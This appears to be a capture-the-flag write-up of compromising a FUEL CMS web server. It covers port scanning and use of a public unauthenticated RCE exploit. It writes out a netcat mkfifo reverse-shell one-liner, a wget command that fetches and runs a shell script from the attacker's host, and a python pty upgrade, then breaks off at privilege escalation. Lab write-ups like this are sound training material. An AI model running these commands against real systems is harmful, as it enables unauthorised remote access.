PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 1 disallowed entry
|_/fuel/
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Welcome to FUEL CMS
Site
Visiting /fuel
we have a login page
So I searched about this system (fuel cms) on the exploitdb site and found this:
I will use the RCE Exploit because other else requires authentication and we don't have any credentials
the exploit be like
and it uses python2
Exploiting
getting a reverse shell
using the RCE we check that the machine has WGET command
so I will use this to download and run a reverse shell file
so I created a .sh file on my machine that contains it:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IP PORT >/tmp/f
and to access the machine, I used a python server
nc -lvp PORT
python3 -m http.server 80
image
now I will download the file and run it in the box using RCE
wget IP/revshell.sh -O /tmp/revshell.sh; sh /tmp/revshell.sh
it works
getting a tty
checking if we have python
whereis python
we have python, so we will use it to get a tty
python -c 'import pty;pty.spawn("/bin/bash")'
User Flag
Privilege escalation
again using wget, we will use LinPeas to enumerate possible privilege escalation vectors
we will download on our machine, upload a server and then download in the box through our machine